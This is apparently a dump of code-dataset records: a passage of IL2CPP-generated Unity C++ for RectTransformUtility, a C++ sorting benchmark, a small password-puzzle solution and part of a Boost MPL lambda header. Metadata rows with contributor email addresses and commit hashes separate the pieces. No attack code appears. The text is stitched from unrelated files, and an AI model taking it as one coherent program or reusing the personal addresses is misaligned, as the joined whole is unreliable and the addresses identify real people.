Vector2_tA85D2DD88578276CA8A8796756458277E72D073D L_16 = RectTransformUtility_GetTransposed_m405847E48935C6439CFADED4188B6F3BEE55FC14(L_15, /*hidden argument*/NULL);
NullCheck(L_13);
RectTransform_set_pivot_mB791A383B3C870B9CBD7BC51B2C95711C88E9DCF(L_13, L_16, /*hidden argument*/NULL);
RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20 * L_17 = ___rect0;
RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20 * L_18 = ___rect0;
NullCheck(L_18);
Vector2_tA85D2DD88578276CA8A8796756458277E72D073D L_19 = RectTransform_get_sizeDelta_mDA0A3E73679143B1B52CE2F9A417F90CB9F3DAFF(L_18, /*hidden argument*/NULL);
Vector2_tA85D2DD88578276CA8A8796756458277E72D073D L_20 = RectTransformUtility_GetTransposed_m405847E48935C6439CFADED4188B6F3BEE55FC14(L_19, /*hidden argument*/NULL);
NullCheck(L_17);
RectTransform_set_sizeDelta_m7729BA56325BA667F0F7D60D642124F7909F1302(L_17, L_20, /*hidden argument*/NULL);
bool L_21 = ___keepPositioning1;
if (!L_21)
{
goto IL_0081;
}
}
{
goto IL_00b4;
}
IL_0081:
{
RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20 * L_22 = ___rect0;
RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20 * L_23 = ___rect0;
NullCheck(L_23);
Vector2_tA85D2DD88578276CA8A8796756458277E72D073D L_24 = RectTransform_get_anchoredPosition_mCB2171DBADBC572F354CCFE3ACA19F9506F97907(L_23, /*hidden argument*/NULL);
IL2CPP_RUNTIME_CLASS_INIT(RectTransformUtility_t9B90669A72B05A33DD88BEBB817BC9CDBB614BBA_il2cpp_TypeInfo_var);
Vector2_tA85D2DD88578276CA8A8796756458277E72D073D L_25 = RectTransformUtility_GetTransposed_m405847E48935C6439CFADED4188B6F3BEE55FC14(L_24, /*hidden argument*/NULL);
NullCheck(L_22);
RectTransform_set_anchoredPosition_m4DD45DB1A97734A1F3A81E5F259638ECAF35962F(L_22, L_25, /*hidden argument*/NULL);
RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20 * L_26 = ___rect0;
RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20 * L_27 = ___rect0;
NullCheck(L_27);
Vector2_tA85D2DD88578276CA8A8796756458277E72D073D L_28 = RectTransform_get_anchorMin_mB62D77CAC5A2A086320638AE7DF08135B7028744(L_27, /*hidden argument*/NULL);
Vector2_tA85D2DD88578276CA8A8796756458277E72D073D L_29 = RectTransformUtility_GetTransposed_m405847E48935C6439CFADED4188B6F3BEE55FC14(L_28, /*hidden argument*/NULL);
NullCheck(L_26);
RectTransform_set_anchorMin_mE965F5B0902C2554635010A5752728414A57020A(L_26, L_29, /*hidden argument*/NULL);
RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20 * L_30 = ___rect0;
RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20 * L_31 = ___rect0;
NullCheck(L_31);
Vector2_tA85D2DD88578276CA8A8796756458277E72D073D L_32 = RectTransform_get_anchorMax_m1E51C211FBB32326C884375C9F1E8E8221E5C086(L_31, /*hidden argument*/NULL);
Vector2_tA85D2DD88578276CA8A8796756458277E72D073D L_33 = RectTransformUtility_GetTransposed_m405847E48935C6439CFADED4188B6F3BEE55FC14(L_32, /*hidden argument*/NULL);
NullCheck(L_30);
RectTransform_set_anchorMax_m55EEF00D9E42FE542B5346D7CEDAF9248736F7D3(L_30, L_33, /*hidden argument*/NULL);
}
IL_00b4:
{
return;
}
}
// UnityEngine.Vector2 UnityEngine.RectTransformUtility::GetTransposed(UnityEngine.Vector2)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR Vector2_tA85D2DD88578276CA8A8796756458277E72D073D RectTransformUtility_GetTransposed_m405847E48935C6439CFADED4188B6F3BEE55FC14 (Vector2_tA85D2DD88578276CA8A8796756458277E72D073D ___input0, const RuntimeMethod* method)
{
Vector2_tA85D2DD88578276CA8A8796756458277E72D073D V_0;
memset((&V_0), 0, sizeof(V_0));
{
float L_0 = (&___input0)->get_y_1();
float L_1 = (&___input0)->get_x_0();
Vector2_tA85D2DD88578276CA8A8796756458277E72D073D L_2;
memset((&L_2), 0, sizeof(L_2));
Vector2__ctor_mEE8FB117AB1F8DB746FB8B3EB4C0DA3BF2A230D0((&L_2), L_0, L_1, /*hidden argument*/NULL);
V_0 = L_2;
goto IL_001a;
}
IL_001a:
{
Vector2_tA85D2DD88578276CA8A8796756458277E72D073D L_3 = V_0;
return L_3;
}
}
// UnityEngine.Vector2 UnityEngine.RectTransformUtility::PixelAdjustPoint(UnityEngine.Vector2,UnityEngine.Transform,UnityEngine.Canvas)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR Vector2_tA85D2DD88578276CA8A8796756458277E72D073D RectTransformUtility_PixelAdjustPoint_m9B5E7F4F2EB55A49670316CBE4D8923154054573 (Vector2_tA85D2DD88578276CA8A8796756458277E72D073D ___point0, Transform_tBB9E78A2766C3C83599A8F66EDE7D1FCAFC66EDA * ___elementTransform1, Canvas_tBC28BF1DD8D8499A89B5781505833D3728CF8591 * ___canvas2, const RuntimeMethod* method)
{
static bool s_Il2CppMethodInitialized;
if (!s_Il2CppMethodInitialized)
{
il2cpp_codegen_initialize_method (RectTransformUtility_PixelAdjustPoint_m9B5E7F4F2EB55A49670316CBE4D8923154054573_MetadataUsageId);
s_Il2CppMethodInitialized = true;
}
Vector2_tA85D2DD88578276CA8A8796756458277E72D073D V_0;
memset((&V_0), 0, sizeof(V_0));
{
Transform_tBB9E78A2766C3C83599A8F66EDE7D1FCAFC66EDA * L_0 = ___elementTransform1;
Canvas_tBC28BF1DD8D8499A89B5781505833D3728CF8591 * L_1 = ___canvas2;
IL2CPP_RUNTIME_CLASS_INIT(RectTransformUtility_t9B90669A72B05A33DD88BEBB817BC9CDBB614BBA_il2cpp_TypeInfo_var);
RectTransformUtility_PixelAdjustPoint_Injected_m7F2640515030E47B1B8227306BFED31F733C9B8B((Vector2_tA85D2DD88578276CA8A8796756458277E72D073D *)(&___point0), L_0, L_1, (Vector2_tA85D2DD88578276CA8A8796756458277E72D073D *)(&V_0), /*hidden argument*/NULL);
Vector2_tA85D2DD88578276CA8A8796756458277E72D073D L_2 = V_0;
return L_2;
}
}
// UnityEngine.Rect UnityEngine.RectTransformUtility::PixelAdjustRect(UnityEngine.RectTransform,UnityEngine.Canvas)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR Rect_t35B976DE901B5423C11705E156938EA27AB402CE RectTransformUtility_PixelAdjustRect_m320399756E1AD411CFECB3E11867806E73A0DE49 (RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20 * ___rectTransform0, Canvas_tBC28BF1DD8D8499A89B5781505833D3728CF8591 * ___canvas1, const RuntimeMethod* method)
{
static bool s_Il2CppMethodInitialized;
if (!s_Il2CppMethodInitialized)
{
il2cpp_codegen_initialize_method (RectTransformUtility_PixelAdjustRect_m320399756E1AD411CFECB3E11867806E73A0DE49_MetadataUsageId);
s_Il2CppMethodInitialized = true;
}
Rect_t35B976DE901B5423C11705E156938EA27AB402CE V_0;
memset((&V_0), 0, sizeof(V_0));
{
RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20 * L_0 = ___rectTransform0;
Canvas_tBC28BF1DD8D8499A89B5781505833D3728CF8591 * L_1 = ___canvas1;
IL2CPP_RUNTIME_CLASS_INIT(RectTransformUtility_t9B90669A72B05A33DD88BEBB817BC9CDBB614BBA_il2cpp_TypeInfo_var);
RectTransformUtility_PixelAdjustRect_Injected_m2172A105E834E9F0B292508EF544A68ED257A317(L_0, L_1, (Rect_t35B976DE901B5423C11705E156938EA27AB402CE *)(&V_0), /*hidden argument*/NULL);
Rect_t35B976DE901B5423C11705E156938EA27AB402CE L_2 = V_0;
return L_2;
}
}
// System.Boolean UnityEngine.RectTransformUtility::PointInRectangle(UnityEngine.Vector2,UnityEngine.RectTransform,UnityEngine.Camera)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR bool RectTransformUtility_PointInRectangle_m31A8C0A3CFCC0B584A33C3A3F2692EF09D303CEE (Vector2_tA85D2DD88578276CA8A8796756458277E72D073D ___screenPoint0, RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20 * ___rect1, Camera_t48B2B9ECB3CE6108A98BF949A1CECF0FE3421F34 * ___cam2, const RuntimeMethod* method)
{
static bool s_Il2CppMethodInitialized;
if (!s_Il2CppMethodInitialized)
{
il2cpp_codegen_initialize_method (RectTransformUtility_PointInRectangle_m31A8C0A3CFCC0B584A33C3A3F2692EF09D303CEE_MetadataUsageId);
s_Il2CppMethodInitialized = true;
}
{
RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20 * L_0 = ___rect1;
Camera_t48B2B9ECB3CE6108A98BF949A1CECF0FE3421F34 * L_1 = ___cam2;
IL2CPP_RUNTIME_CLASS_INIT(RectTransformUtility_t9B90669A72B05A33DD88BEBB817BC9CDBB614BBA_il2cpp_TypeInfo_var);
bool L_2 = RectTransformUtility_PointInRectangle_Injected_m42DCFCCED1ABCAE24B543ABD1903291A3A186B2D((Vector2_tA85D2DD88578276CA8A8796756458277E72D073D *)(&___screenPoint0), L_0, L_1, /*hidden argument*/NULL);
return L_2;
}
}
// System.Void UnityEngine.RectTransformUtility::.cctor()
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void RectTransformUtility__cctor_m1DCF0D49797698D7D4FBF3EF83B5DEC9A5F42851 (const RuntimeMethod* method)
{
static bool s_Il2CppMethodInitialized;
if (!s_Il2CppMethodInitialized)
{
il2cpp_codegen_initialize_method (RectTransformUtility__cctor_m1DCF0D49797698D7D4FBF3EF83B5DEC9A5F42851_MetadataUsageId);
s_Il2CppMethodInitialized = true;
}
{
Vector3U5BU5D_tB9EC3346CC4A0EA5447D968E84A9AC1F6F372C28* L_0 = (Vector3U5BU5D_tB9EC3346CC4A0EA5447D968E84A9AC1F6F372C28*)(Vector3U5BU5D_tB9EC3346CC4A0EA5447D968E84A9AC1F6F372C28*)SZArrayNew(Vector3U5BU5D_tB9EC3346CC4A0EA5447D968E84A9AC1F6F372C28_il2cpp_TypeInfo_var, (uint32_t)4);
((RectTransformUtility_t9B90669A72B05A33DD88BEBB817BC9CDBB614BBA_StaticFields*)il2cpp_codegen_static_fields_for(RectTransformUtility_t9B90669A72B05A33DD88BEBB817BC9CDBB614BBA_il2cpp_TypeInfo_var))->set_s_Corners_0(L_0);
return;
}
}
// System.Void UnityEngine.RectTransformUtility::PixelAdjustPoint_Injected(UnityEngine.Vector2&,UnityEngine.Transform,UnityEngine.Canvas,UnityEngine.Vector2&)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void RectTransformUtility_PixelAdjustPoint_Injected_m7F2640515030E47B1B8227306BFED31F733C9B8B (Vector2_tA85D2DD88578276CA8A8796756458277E72D073D * ___point0, Transform_tBB9E78A2766C3C83599A8F66EDE7D1FCAFC66EDA * ___elementTransform1, Canvas_tBC28BF1DD8D8499A89B5781505833D3728CF8591 * ___canvas2, Vector2_tA85D2DD88578276CA8A8796756458277E72D073D * ___ret3, const RuntimeMethod* method)
{
typedef void (*RectTransformUtility_PixelAdjustPoint_Injected_m7F2640515030E47B1B8227306BFED31F733C9B8B_ftn) (Vector2_tA85D2DD88578276CA8A8796756458277E72D073D *, Transform_tBB9E78A2766C3C83599A8F66EDE7D1FCAFC66EDA *, Canvas_tBC28BF1DD8D8499A89B5781505833D3728CF8591 *, Vector2_tA85D2DD88578276CA8A8796756458277E72D073D *);
static RectTransformUtility_PixelAdjustPoint_Injected_m7F2640515030E47B1B8227306BFED31F733C9B8B_ftn _il2cpp_icall_func;
if (!_il2cpp_icall_func)
_il2cpp_icall_func = (RectTransformUtility_PixelAdjustPoint_Injected_m7F2640515030E47B1B8227306BFED31F733C9B8B_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.RectTransformUtility::PixelAdjustPoint_Injected(UnityEngine.Vector2&,UnityEngine.Transform,UnityEngine.Canvas,UnityEngine.Vector2&)");
_il2cpp_icall_func(___point0, ___elementTransform1, ___canvas2, ___ret3);
}
// System.Void UnityEngine.RectTransformUtility::PixelAdjustRect_Injected(UnityEngine.RectTransform,UnityEngine.Canvas,UnityEngine.Rect&)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void RectTransformUtility_PixelAdjustRect_Injected_m2172A105E834E9F0B292508EF544A68ED257A317 (RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20 * ___rectTransform0, Canvas_tBC28BF1DD8D8499A89B5781505833D3728CF8591 * ___canvas1, Rect_t35B976DE901B5423C11705E156938EA27AB402CE * ___ret2, const RuntimeMethod* method)
{
typedef void (*RectTransformUtility_PixelAdjustRect_Injected_m2172A105E834E9F0B292508EF544A68ED257A317_ftn) (RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20 *, Canvas_tBC28BF1DD8D8499A89B5781505833D3728CF8591 *, Rect_t35B976DE901B5423C11705E156938EA27AB402CE *);
static RectTransformUtility_PixelAdjustRect_Injected_m2172A105E834E9F0B292508EF544A68ED257A317_ftn _il2cpp_icall_func;
if (!_il2cpp_icall_func)
_il2cpp_icall_func = (RectTransformUtility_PixelAdjustRect_Injected_m2172A105E834E9F0B292508EF544A68ED257A317_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.RectTransformUtility::PixelAdjustRect_Injected(UnityEngine.RectTransform,UnityEngine.Canvas,UnityEngine.Rect&)");
_il2cpp_icall_func(___rectTransform0, ___canvas1, ___ret2);
}
// System.Boolean UnityEngine.RectTransformUtility::PointInRectangle_Injected(UnityEngine.Vector2&,UnityEngine.RectTransform,UnityEngine.Camera)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR bool RectTransformUtility_PointInRectangle_Injected_m42DCFCCED1ABCAE24B543ABD1903291A3A186B2D (Vector2_tA85D2DD88578276CA8A8796756458277E72D073D * ___screenPoint0, RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20 * ___rect1, Camera_t48B2B9ECB3CE6108A98BF949A1CECF0FE3421F34 * ___cam2, const RuntimeMethod* method)
{
typedef bool (*RectTransformUtility_PointInRectangle_Injected_m42DCFCCED1ABCAE24B543ABD1903291A3A186B2D_ftn) (Vector2_tA85D2DD88578276CA8A8796756458277E72D073D *, RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20 *, Camera_t48B2B9ECB3CE6108A98BF949A1CECF0FE3421F34 *);
static RectTransformUtility_PointInRectangle_Injected_m42DCFCCED1ABCAE24B543ABD1903291A3A186B2D_ftn _il2cpp_icall_func;
if (!_il2cpp_icall_func)
_il2cpp_icall_func = (RectTransformUtility_PointInRectangle_Injected_m42DCFCCED1ABCAE24B543ABD1903291A3A186B2D_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.RectTransformUtility::PointInRectangle_Injected(UnityEngine.Vector2&,UnityEngine.RectTransform,UnityEngine.Camera)");
bool retVal = _il2cpp_icall_func(___screenPoint0, ___rect1, ___cam2);
return retVal;
}
#ifdef __clang__
#pragma clang diagnostic pop
#endif
#ifdef __clang__
#pragma clang diagnostic push
#pragma clang diagnostic ignored "-Winvalid-offsetof"
#pragma clang diagnostic ignored "-Wunused-variable"
#endif
#ifdef __clang__
#pragma clang diagnostic pop
#endif
#ifdef __clang__
#pragma clang diagnostic push
#pragma clang diagnostic ignored "-Winvalid-offsetof"
#pragma clang diagnostic ignored "-Wunused-variable"
#endif
// System.Void UnityEngine.UISystemProfilerApi::BeginSample(UnityEngine.UISystemProfilerApi_SampleType)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void UISystemProfilerApi_BeginSample_m43EF1B2F9606D5F0C99DF84505C5498AA0CDBB1B (int32_t ___type0, const RuntimeMethod* method)
{
typedef void (*UISystemProfilerApi_BeginSample_m43EF1B2F9606D5F0C99DF84505C5498AA0CDBB1B_ftn) (int32_t);
static UISystemProfilerApi_BeginSample_m43EF1B2F9606D5F0C99DF84505C5498AA0CDBB1B_ftn _il2cpp_icall_func;
if (!_il2cpp_icall_func)
_il2cpp_icall_func = (UISystemProfilerApi_BeginSample_m43EF1B2F9606D5F0C99DF84505C5498AA0CDBB1B_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.UISystemProfilerApi::BeginSample(UnityEngine.UISystemProfilerApi/SampleType)");
_il2cpp_icall_func(___type0);
}
// System.Void UnityEngine.UISystemProfilerApi::EndSample(UnityEngine.UISystemProfilerApi_SampleType)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void UISystemProfilerApi_EndSample_mB7DD865D72832D3558931B4E6801999B23F0429A (int32_t ___type0, const RuntimeMethod* method)
{
typedef void (*UISystemProfilerApi_EndSample_mB7DD865D72832D3558931B4E6801999B23F0429A_ftn) (int32_t);
static UISystemProfilerApi_EndSample_mB7DD865D72832D3558931B4E6801999B23F0429A_ftn _il2cpp_icall_func;
if (!_il2cpp_icall_func)
_il2cpp_icall_func = (UISystemProfilerApi_EndSample_mB7DD865D72832D3558931B4E6801999B23F0429A_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.UISystemProfilerApi::EndSample(UnityEngine.UISystemProfilerApi/SampleType)");
_il2cpp_icall_func(___type0);
}
// System.Void UnityEngine.UISystemProfilerApi::AddMarker(System.String,UnityEngine.Object)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void UISystemProfilerApi_AddMarker_m9193DB5B08C1B7DD35835D6F0E2DF9DD20483FFA (String_t* ___name0, Object_tAE11E5E46CD5C37C9F3E8950C00CD8B45666A2D0 * ___obj1, const RuntimeMethod* method)
{
typedef void (*UISystemProfilerApi_AddMarker_m9193DB5B08C1B7DD35835D6F0E2DF9DD20483FFA_ftn) (String_t*, Object_tAE11E5E46CD5C37C9F3E8950C00CD8B45666A2D0 *);
static UISystemProfilerApi_AddMarker_m9193DB5B08C1B7DD35835D6F0E2DF9DD20483FFA_ftn _il2cpp_icall_func;
if (!_il2cpp_icall_func)
_il2cpp_icall_func = (UISystemProfilerApi_AddMarker_m9193DB5B08C1B7DD35835D6F0E2DF9DD20483FFA_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.UISystemProfilerApi::AddMarker(System.String,UnityEngine.Object)");
_il2cpp_icall_func(___name0, ___obj1);
}
#ifdef __clang__
#pragma clang diagnostic pop
#endif
#ifdef __clang__
#pragma clang diagnostic push
#pragma clang diagnostic ignored "-Winvalid-offsetof"
#pragma clang diagnostic ignored "-Wunused-variable"
#endif
#ifdef __clang__
#pragma clang diagnostic pop
#endif
| [
"grunin200412@gmail.com"
] | grunin200412@gmail.com |
f03561c87cdbadada3b64e18bcb03f6ad447f624 | e5ddfe6720663064e99502b0d6fe9c57b868aae4 | /source_code/main.cpp | 996b3ae2a7ec4483614f9cd2880c2a395c8619af | [] | no_license | shadowflow/Data_Structure_and_Algorithms | 64ca49de1290c50608c2d8961c08e6d4111fc91a | e31eaa64ddbc788d5b2d9643435362d269af95a3 | refs/heads/master | 2021-05-05T09:08:51.042485 | 2018-01-28T09:43:01 | 2018-01-28T09:43:01 | 119,134,007 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,992 | cpp | #include "sortTestHelper.h"
#include "allAlgorithms.h"
#include <iostream>
#include <fstream>
using namespace std;
int main() {
ofstream fcout("./sort-result.csv");
fcout << "排序算法,无序数组,近乎有序的数组" << endl;
int n = 30000;
int *arr_disorderly = sortHelp::generateRandomArray(n, 1, n);
int *arr_ordered = sortHelp::generateOrderedArray(n, n / 100);
double insert_time_d = sortHelp::testSort(insertSort, arr_disorderly, n);
double insert_time_o = sortHelp::testSort(insertSort, arr_ordered, n);
fcout << "插入排序," << insert_time_d << "s," << insert_time_o << "s" << endl;
double select_time_d = sortHelp::testSort(selectionSort, arr_disorderly, n);
double select_time_o = sortHelp::testSort(selectionSort, arr_ordered, n);
fcout << "简单选择排序," << select_time_d << "s," << select_time_o << "s" << endl;
double bubble_time_d = sortHelp::testSort(bubbleSort, arr_disorderly, n);
double bubble_time_o = sortHelp::testSort(bubbleSort, arr_ordered, n);
fcout << "冒泡排序," << bubble_time_d << "s," << bubble_time_o << "s" << endl;
double shell_time_d = sortHelp::testSort(shellSort, arr_disorderly, n);
double shell_time_o = sortHelp::testSort(shellSort, arr_ordered, n);
fcout << "希尔排序," << shell_time_d << "s," << shell_time_o << "s" << endl;
double quick_time_d = sortHelp::testSort(quickSort, arr_disorderly, n);
double quick_time_o = sortHelp::testSort(quickSort, arr_ordered, n);
fcout << "快速排序," << quick_time_d << "s," << quick_time_o << "s" << endl;
double merge_time_d = sortHelp::testSort(mergeSort, arr_disorderly, n);
double merge_time_o = sortHelp::testSort(mergeSort, arr_ordered, n);
fcout << "归并排序," << merge_time_d << "s," << merge_time_o << "s" << endl;
delete[] arr_disorderly;
delete[] arr_ordered;
fcout.close();
cout << "所有数据已经写入文件,请到桌面查看" << endl;
} | [
"3123065527@qq.com"
] | 3123065527@qq.com |
ccb856eb15e0a4175ed448ef401ab9f9ad67e89d | ef8e28a7b0648d3e09e39d037c0d313a98ef3cea | /D3/1234. 비밀번호.cpp | 19c309036bd14b9da0cf146e519c7a4dcc5a217b | [] | no_license | RBJH/SWExpertAcademy | 07eecf6039e8178797e0a9ac3b0e9c8aa43f0c3e | 3b3cb2f71ce33e8f748831e4cb8c5b032551f846 | refs/heads/master | 2020-07-03T09:12:44.652707 | 2019-10-25T12:33:55 | 2019-10-25T12:33:55 | 201,862,798 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 394 | cpp | #include <iostream>
using namespace std;
int N;
int main() {
for (int t = 1; t <= 10; t++) {
cin >> N;
string str;
cin >> str;
for (int i = 0; i < str.length() - 1; i++) {
if (str[i] == str[i + 1]) {
str.erase(i, 2);
if (i)
i -= 2;
else
i--;
}
}
cout << '#' << t << ' ' << str << '\n';
}
return 0;
} | [
"46277703+RBJH@users.noreply.github.com"
] | 46277703+RBJH@users.noreply.github.com |
4bad90bcf427660abee7f3bc96bb99b4ec644b5f | d678a380ad8db03eaf785a6f490f60a11e90c036 | /GeoFeatures/Internal/boost/mpl/aux_/preprocessed/mwcw/full_lambda.hpp | ee1d19b37550472e435bedbdf329dd589053d8e0 | [
"BSL-1.0",
"Apache-2.0"
] | permissive | Niko-r/geofeatures | 0eaa09c65bd9c7e47c3da7bb69e2f20776ba557c | b3b1311f7836b700d47064490e3d7533b8d574ee | refs/heads/master | 2020-05-29T11:07:11.474367 | 2016-07-16T01:43:36 | 2016-07-16T01:43:36 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 11,295 | hpp |
// Copyright Aleksey Gurtovoy 2001-2004
//
// Distributed under the Boost Software License, Version 1.0.
// (See accompanying file LICENSE_1_0.txt or copy at
// http://www.boost.org/LICENSE_1_0.txt)
//
// Preprocessed version of "boost/mpl/aux_/full_lambda.hpp" header
// -- DO NOT modify by hand!
namespace geofeatures_boost {} namespace boost = geofeatures_boost; namespace geofeatures_boost { namespace mpl {
namespace aux {
template<
bool C1 = false, bool C2 = false, bool C3 = false, bool C4 = false
, bool C5 = false
>
struct lambda_or
: true_
{
};
template<>
struct lambda_or< false,false,false,false,false >
: false_
{
};
} // namespace aux
template<
typename T
, typename Tag
>
struct lambda
{
typedef false_ is_le;
typedef T result_;
typedef T type;
};
template<
typename T
>
struct is_lambda_expression
: lambda<T>::is_le
{
};
template< int N, typename Tag >
struct lambda< arg<N>, Tag >
{
typedef true_ is_le;
typedef mpl::arg<N> result_; // qualified for the sake of MIPSpro 7.41
typedef mpl::protect<result_> type;
};
template<
typename F
, typename Tag
>
struct lambda<
bind0<F>
, Tag
>
{
typedef false_ is_le;
typedef bind0<
F
> result_;
typedef result_ type;
};
namespace aux {
template<
typename IsLE, typename Tag
, template< typename P1 > class F
, typename L1
>
struct le_result1
{
typedef F<
typename L1::type
> result_;
typedef result_ type;
};
template<
typename Tag
, template< typename P1 > class F
, typename L1
>
struct le_result1< true_,Tag,F,L1 >
{
typedef bind1<
quote1< F,Tag >
, typename L1::result_
> result_;
typedef mpl::protect<result_> type;
};
} // namespace aux
template<
template< typename P1 > class F
, typename T1
, typename Tag
>
struct lambda<
F<T1>
, Tag
>
{
typedef lambda< T1,Tag > l1;
typedef typename l1::is_le is_le1;
typedef typename aux::lambda_or<
is_le1::value
>::type is_le;
typedef aux::le_result1<
is_le, Tag, F, l1
> le_result_;
typedef typename le_result_::result_ result_;
typedef typename le_result_::type type;
};
template<
typename F, typename T1
, typename Tag
>
struct lambda<
bind1< F,T1 >
, Tag
>
{
typedef false_ is_le;
typedef bind1<
F
, T1
> result_;
typedef result_ type;
};
namespace aux {
template<
typename IsLE, typename Tag
, template< typename P1, typename P2 > class F
, typename L1, typename L2
>
struct le_result2
{
typedef F<
typename L1::type, typename L2::type
> result_;
typedef result_ type;
};
template<
typename Tag
, template< typename P1, typename P2 > class F
, typename L1, typename L2
>
struct le_result2< true_,Tag,F,L1,L2 >
{
typedef bind2<
quote2< F,Tag >
, typename L1::result_, typename L2::result_
> result_;
typedef mpl::protect<result_> type;
};
} // namespace aux
template<
template< typename P1, typename P2 > class F
, typename T1, typename T2
, typename Tag
>
struct lambda<
F< T1,T2 >
, Tag
>
{
typedef lambda< T1,Tag > l1;
typedef lambda< T2,Tag > l2;
typedef typename l1::is_le is_le1;
typedef typename l2::is_le is_le2;
typedef typename aux::lambda_or<
is_le1::value, is_le2::value
>::type is_le;
typedef aux::le_result2<
is_le, Tag, F, l1, l2
> le_result_;
typedef typename le_result_::result_ result_;
typedef typename le_result_::type type;
};
template<
typename F, typename T1, typename T2
, typename Tag
>
struct lambda<
bind2< F,T1,T2 >
, Tag
>
{
typedef false_ is_le;
typedef bind2<
F
, T1, T2
> result_;
typedef result_ type;
};
namespace aux {
template<
typename IsLE, typename Tag
, template< typename P1, typename P2, typename P3 > class F
, typename L1, typename L2, typename L3
>
struct le_result3
{
typedef F<
typename L1::type, typename L2::type, typename L3::type
> result_;
typedef result_ type;
};
template<
typename Tag
, template< typename P1, typename P2, typename P3 > class F
, typename L1, typename L2, typename L3
>
struct le_result3< true_,Tag,F,L1,L2,L3 >
{
typedef bind3<
quote3< F,Tag >
, typename L1::result_, typename L2::result_, typename L3::result_
> result_;
typedef mpl::protect<result_> type;
};
} // namespace aux
template<
template< typename P1, typename P2, typename P3 > class F
, typename T1, typename T2, typename T3
, typename Tag
>
struct lambda<
F< T1,T2,T3 >
, Tag
>
{
typedef lambda< T1,Tag > l1;
typedef lambda< T2,Tag > l2;
typedef lambda< T3,Tag > l3;
typedef typename l1::is_le is_le1;
typedef typename l2::is_le is_le2;
typedef typename l3::is_le is_le3;
typedef typename aux::lambda_or<
is_le1::value, is_le2::value, is_le3::value
>::type is_le;
typedef aux::le_result3<
is_le, Tag, F, l1, l2, l3
> le_result_;
typedef typename le_result_::result_ result_;
typedef typename le_result_::type type;
};
template<
typename F, typename T1, typename T2, typename T3
, typename Tag
>
struct lambda<
bind3< F,T1,T2,T3 >
, Tag
>
{
typedef false_ is_le;
typedef bind3<
F
, T1, T2, T3
> result_;
typedef result_ type;
};
namespace aux {
template<
typename IsLE, typename Tag
, template< typename P1, typename P2, typename P3, typename P4 > class F
, typename L1, typename L2, typename L3, typename L4
>
struct le_result4
{
typedef F<
typename L1::type, typename L2::type, typename L3::type
, typename L4::type
> result_;
typedef result_ type;
};
template<
typename Tag
, template< typename P1, typename P2, typename P3, typename P4 > class F
, typename L1, typename L2, typename L3, typename L4
>
struct le_result4< true_,Tag,F,L1,L2,L3,L4 >
{
typedef bind4<
quote4< F,Tag >
, typename L1::result_, typename L2::result_, typename L3::result_
, typename L4::result_
> result_;
typedef mpl::protect<result_> type;
};
} // namespace aux
template<
template< typename P1, typename P2, typename P3, typename P4 > class F
, typename T1, typename T2, typename T3, typename T4
, typename Tag
>
struct lambda<
F< T1,T2,T3,T4 >
, Tag
>
{
typedef lambda< T1,Tag > l1;
typedef lambda< T2,Tag > l2;
typedef lambda< T3,Tag > l3;
typedef lambda< T4,Tag > l4;
typedef typename l1::is_le is_le1;
typedef typename l2::is_le is_le2;
typedef typename l3::is_le is_le3;
typedef typename l4::is_le is_le4;
typedef typename aux::lambda_or<
is_le1::value, is_le2::value, is_le3::value, is_le4::value
>::type is_le;
typedef aux::le_result4<
is_le, Tag, F, l1, l2, l3, l4
> le_result_;
typedef typename le_result_::result_ result_;
typedef typename le_result_::type type;
};
template<
typename F, typename T1, typename T2, typename T3, typename T4
, typename Tag
>
struct lambda<
bind4< F,T1,T2,T3,T4 >
, Tag
>
{
typedef false_ is_le;
typedef bind4<
F
, T1, T2, T3, T4
> result_;
typedef result_ type;
};
namespace aux {
template<
typename IsLE, typename Tag
, template< typename P1, typename P2, typename P3, typename P4, typename P5 > class F
, typename L1, typename L2, typename L3, typename L4, typename L5
>
struct le_result5
{
typedef F<
typename L1::type, typename L2::type, typename L3::type
, typename L4::type, typename L5::type
> result_;
typedef result_ type;
};
template<
typename Tag
, template< typename P1, typename P2, typename P3, typename P4, typename P5 > class F
, typename L1, typename L2, typename L3, typename L4, typename L5
>
struct le_result5< true_,Tag,F,L1,L2,L3,L4,L5 >
{
typedef bind5<
quote5< F,Tag >
, typename L1::result_, typename L2::result_, typename L3::result_
, typename L4::result_, typename L5::result_
> result_;
typedef mpl::protect<result_> type;
};
} // namespace aux
template<
template<
typename P1, typename P2, typename P3, typename P4
, typename P5
>
class F
, typename T1, typename T2, typename T3, typename T4, typename T5
, typename Tag
>
struct lambda<
F< T1,T2,T3,T4,T5 >
, Tag
>
{
typedef lambda< T1,Tag > l1;
typedef lambda< T2,Tag > l2;
typedef lambda< T3,Tag > l3;
